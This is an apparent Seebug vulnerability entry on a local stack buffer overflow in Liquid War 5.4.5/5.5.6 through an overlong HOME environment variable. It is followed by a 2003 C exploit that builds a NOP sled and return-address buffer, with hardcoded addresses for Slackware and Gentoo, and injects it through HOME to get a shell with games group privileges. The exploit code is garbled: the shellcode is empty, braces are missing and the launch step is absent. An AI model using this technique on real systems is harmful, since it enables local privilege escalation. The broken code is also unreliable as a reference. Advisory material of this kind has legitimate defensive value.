Liquid War 5.4.5/5.5.6 HOME Environment Variable Buffer Overflow Vulnerability

ID SSV:76927
Type seebug
Reporter Root
Modified 2014-07-01T00:00:00


No description provided by source.


Liquid War has been reported prone to a buffer overflow condition when handling HOME environment variables of excessive length.

The issue presents itself, due to a lack of sufficient boundary checks performed on data contained in the HOME environment variable before it is copied into a reserved buffer in stack based memory. It has been reported that a local attacker may exploit this condition to execute arbitrary instructions with GID Games privileges. 

*                              (c) Rosiello Security
* Copyright Rosiello Security 2003
* All Rights reserved.
* Tested on Slakware 9.0.0 & Gentoo 1.4
* Author: Angelo Rosiello
* Mail  :
* URL   :
* Greetz: Astharot by Zone-H who posted the stack overflow bug

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

/* /bin/sh */
static char shellcode[]=

#define NOP     0x90
#define LEN     520           //Buffer for Slackware 9.0.0
//#define LEN   528           //Buffer for Gentoo 1.4
#define RET     0xbffff414    //Valid Address for Slackware 9.0.0
//#define RET   0xbffff360    //Valid Address for Gentoo 1.4

int main()
        char buffer[LEN];
        long retaddr = RET;
        int i;

        fprintf(stderr, "\n(c) Rosiello Security 2003 -\n");
        fprintf(stderr, "Liquidwar's exploit for Slackware 9.0.0\n");
        fprintf(stderr, "by Angelo Rosiello -\n\n");
        fprintf(stderr, "using address 0x%lx\n",retaddr);

        for (i=0;i<LEN;i+=4) *(long *)&buffer[i] = retaddr;

        for (i=0;i<(LEN-strlen(shellcode)-50);i++) *(buffer+i) = NOP;


        /* export the variable, run liquidwar */

        setenv("HOME", buffer, 1);

        return 0;